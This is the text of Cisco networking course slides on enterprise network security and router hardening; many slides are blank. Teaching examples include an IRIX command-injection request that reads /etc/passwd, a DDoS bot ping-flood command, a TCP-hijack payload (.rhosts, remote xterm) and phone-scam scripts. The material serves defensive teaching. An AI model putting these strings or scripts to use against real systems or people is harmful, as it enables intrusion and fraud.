Version 4.0
Cisco Public
Objectives
Describe the general methods used to mitigate security threats to Enterprise networks Configure Basic Router Security Explain how to disable unused Cisco router network services and interfaces Explain how to use Cisco SDM Manage Cisco IOS devices
Cisco Public
Cisco Public
What is Security
Dictionary.com says:
1. Freedom from risk or danger; safety. 2. Freedom from doubt, anxiety, or fear; confidence. 3. Something that gives or assures safety, as: 1. A group or department of private guards: Call building security if a visitor acts suspicious. 2. Measures adopted by a government to prevent espionage, sabotage, or attack. 3. Measures adopted, as by a business or homeowner, to prevent a crime such as burglary or assault: Security was lax at the firm's smaller plant. etc.
Cisco Public
Cisco Public
Cisco Public
Who is vulnerable?
Financial institutions and banks Internet service providers Pharmaceutical companies Government and defense agencies Contractors to various government agencies Multinational corporations ANYONE ON THE NETWORK
Cisco Public
Cisco Public
Firewalls
Basic problem many network applications and protocols have security problems that are fixed over time Difficult for users to keep up with changes and keep host secure Solution Administrators limit access to end hosts by using a firewall Firewall is kept up-to-date by administrators
Cisco Public
Firewalls
A firewall is like a castle with a drawbridge Only one point of access into the network This can be good or bad Can be hardware or software Ex. Some routers come with firewall functionality ipfw, ipchains, pf on Unix systems, Windows XP and Mac OS X have built in firewalls
Cisco Public
10
Firewalls
Internet
DMZ
Web server, email server, web proxy, etc
Firewall
Firewall
Intranet
Cisco Public
11
Firewalls
Used to filter packets based on a combination of features
These are called packet filtering firewalls There are other types too, but they will not be discussed Ex. Drop packets with destination port of 23 (Telnet) Can use any combination of IP/UDP/TCP header information man ipfw on unix47 for much more detail
Cisco Public
12
Firewalls
Here is what a computer with a default Windows XP install looks like:
135/tcp open loc-srv 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS 3389/tcp open ms-term-serv 5000/tcp open UPnP
Might need some of these services, or might not be able to control all the machines on the network
Cisco Public
13
Intrusion Detection
Uses intrusion signatures
Well known patterns of behavior Ping sweeps, port scanning, web server indexing, OS fingerprinting, DoS attempts, etc.
Example
IRIX vulnerability in webdist.cgi Can make a rule to drop packets containing the line
/cgi-bin/webdist.cgi?distloc=?;cat%20/etc/passwd
However, IDS is only useful if contingency plans are in place to curb attacks as they are occurring
Cisco Public
14
Minor Detour
Say we got the /etc/passwd file from the IRIX server What can we do with it?
Cisco Public
15
Dictionary Attack
We can run a dictionary attack on the passwords
The passwords in /etc/passwd are encrypted with the crypt(3) function (one-way hash) Can take a dictionary of words, crypt() them all, and compare with the hashed passwords
Cisco Public
16
Denial of Service
Purpose: Make a network service unusable, usually by overloading the server or network Many different kinds of DoS attacks SYN flooding SMURF Distributed attacks Mini Case Study: Code-Red
Cisco Public
17
Denial of Service
SYN flooding attack Send SYN packets with bogus source address Why? Server responds with SYN ACK and keeps state about TCP half-open connection Eventually, server memory is exhausted with this state Solution: use SYN cookies In response to a SYN, create a special cookie for the connection, and forget everything else Then, can recreate the forgotten information when the ACK comes in from a legitimate connection
Cisco Public
18
Denial of Service
Cisco Public
19
Denial of Service
SMURF Source IP address of a broadcast ping is forged Large number of machines respond back to victim, overloading it
Cisco Public
20
Denial of Service
I I
2006 Cisco Systems, Inc. All rights reserved. Cisco Public
21
Denial of Service
Distributed Denial of Service
Same techniques as regular DoS, but on a much larger scale Example: Sub7Server Trojan and IRC bots Infect a large number of machines with a zombie program Zombie program logs into an IRC channel and awaits commands Example:
Bot command: !p4 207.71.92.193 Result: runs ping.exe 207.71.92.193 -l 65500 -n 10000 Sends 10,000 64k packets to the host (655MB!)
22
2006 Cisco Systems, Inc. All rights reserved. Cisco Public
22
Denial of Service
Mini Case Study CodeRed July 19, 2001: over 359,000 computers infected with Code-Red in less than 14 hours Used a recently known buffer exploit in Microsoft IIS Damages estimated in excess of $2.6 billion
Cisco Public
23
Denial of Service
Why is this under the Denial of Service category? CodeRed launched a DDOS attack against www1.whitehouse.gov from the 20th to the 28th of every month! Spent the rest of its time infecting other hosts
Cisco Public
24
Denial of Service
How can we protect ourselves? Ingress filtering If the source IP of a packet comes in on an interface which does not have a route to that packet, then drop it RFC 2267 has more information about this Stay on top of CERT advisories and the latest security patches A fix for the IIS buffer overflow was released sixteen days before CodeRed had been deployed!
Cisco Public
25
TCP Attacks
Recall how IP works End hosts create IP packets and routers process them purely based on destination address alone Problem: End hosts may lie about other fields which do not affect delivery Source address host may trick destination into believing that the packet is from a trusted source Especially applications which use IP addresses as a simple authentication method Solution use better authentication methods
Cisco Public
26
TCP Attacks
TCP connections have associated state Starting sequence numbers, port numbers Problem what if an attacker learns these values? Port numbers are sometimes well known to begin with (ex. HTTP uses port 80) Sequence numbers are sometimes chosen in very predictable ways
Cisco Public
27
TCP Attacks
If an attacker learns the associated TCP state for the connection, then the connection can be hijacked! Attacker can insert malicious data into the TCP stream, and the recipient will believe it came from the original source Ex. Instead of downloading and running new program, you download a virus and execute it
Cisco Public
28
TCP Attacks
Say hello to Alice, Bob and Mr. Big Ears
Cisco Public
29
TCP Attacks
Alice and Bob have an established TCP connection
Cisco Public
30
TCP Attacks
Mr. Big Ears lies on the path between Alice and Bob on the network He can intercept all of their packets
Cisco Public
31
TCP Attacks
First, Mr. Big Ears must drop all of Alices packets since they must not be delivered to Bob (why?)
Cisco Public
32
TCP Attacks
Then, Mr. Big Ears sends his malicious packet with the next ISN (sniffed from the network)
ISN, SRC=Alice
Cisco Public
33
TCP Attacks
What if Mr. Big Ears is unable to sniff the packets between Alice and Bob? Can just DoS Alice instead of dropping her packets Can just send guesses of what the ISN is until it is accepted How do you know when the ISN is accepted? Mitnick: payload is add self to .rhosts Or, xterm -display MrBigEars:0
Cisco Public
34
TCP Attacks
Why are these types of TCP attacks so dangerous?
Web server
Malicious user
2006 Cisco Systems, Inc. All rights reserved. Cisco Public
35
TCP Attacks
How do we prevent this? IPSec Provides source authentication, so Mr. Big Ears cannot pretend to be Alice Encrypts data before transport, so Mr. Big Ears cannot talk to Bob without knowing what the session key is
Cisco Public
36
Cisco Public
37
Packet Sniffing
Recall how Ethernet works When someone wants to send a packet to some else They put the bits on the wire with the destination MAC address And remember that other hosts are listening on the wire to detect for collisions It couldnt get any easier to figure out what data is being transmitted over the network!
Cisco Public
38
Packet Sniffing
This works for wireless too! In fact, it works for any broadcast-based medium
Cisco Public
39
Packet Sniffing
What kinds of data can we get? Asked another way, what kind of information would be most useful to a malicious user? Answer: Anything in plain text Passwords are the most popular
Cisco Public
40
Packet Sniffing
How can we protect ourselves? SSH, not Telnet
Many people at CMU still use Telnet and send their password in the clear (use PuTTY instead!) Now that I have told you this, please do not exploit this information Packet sniffing is, by the way, prohibited by Computing Services
IPSec
Provides network-layer confidentiality
Cisco Public
41
Social Problems
People can be just as dangerous as unprotected computer systems People can be lied to, manipulated, bribed, threatened, harmed, tortured, etc. to give up valuable information Most humans will breakdown once they are at the harmed stage, unless they have been specially trained Think government here
Cisco Public
42
Social Problems
Fun Example 1: Hi, Im your AT&T rep, Im stuck on a pole. I need you to punch a bunch of buttons for me
Cisco Public
43
Social Problems
Fun Example 2: Someone calls you in the middle of the night Have you been calling Egypt for the last six hours? No Well, we have a call thats actually active right now, its on your calling card and its to Egypt and as a matter of fact, youve got about $2000 worth of charges on your card and read off your AT&T card number and PIN and then Ill get rid of the charge for you
Cisco Public
44
Social Problems
Fun Example 3: Who saw Office Space? In the movie, the three disgruntled employees installed a money-stealing worm onto the companies systems They did this from inside the company, where they had full access to the companies systems What security techniques can we use to prevent this type of access?
Cisco Public
45
Social Problems
There arent always solutions to all of these problems Humans will continue to be tricked into giving out information they shouldnt Educating them may help a little here, but, depending on how bad you want the information, there are a lot of bad things you can do to get it So, the best that can be done is to implement a wide variety of solutions and more closely monitor who has access to what network resources and information But, this solution is still not perfect
Cisco Public
46
Cisco Public
47
Cisco Public
48
Cisco Public
49
Cisco Public
50
Cisco Public
51
Cisco Public
52
Cisco Public
53
Cisco Public
54
Cisco Public
55
Cisco Public
56
Cisco Public
57
Explain How to Disable Unused Cisco Router Network Services and Interfaces
Describe the router services and interfaces that are vulnerable to network attack
Cisco Public
58
Explain How to Disable Unused Cisco Router Network Services and Interfaces
Explain the vulnerabilities posed by commonly configured management services
Cisco Public
59
Cisco Public
60
Cisco Public
61
Cisco Public
62
Explain How to Disable Unused Cisco Router Network Services and Interfaces
Explain how to secure a router with the command-line interface (CLI) auto secure command
Cisco Public
63
Cisco Public
64
Cisco Public
65
Cisco Public
66
Cisco Public
67
Cisco Public
68
Cisco Public
69
Cisco Public
70
Cisco Public
71
Summary
Security Threats to an Enterprise network include:
Unstructured threats Structured threats External threats Internal threats
Cisco Public
72
Summary
Basic router security involves the following:
Physical security Update and backup IOS Backup configuration files Password configuration Logging router activity
Disable unused router interfaces & services to minimize their exploitation by intruders Cisco SDM
A web based management tool for configuring security measures on Cisco routers
Cisco Public
73
Summary
Cisco IOS Integrated File System (IFS)
Allows for the creation, navigation & manipulation of directories on a cisco device
Cisco Public
74
Cisco Public
75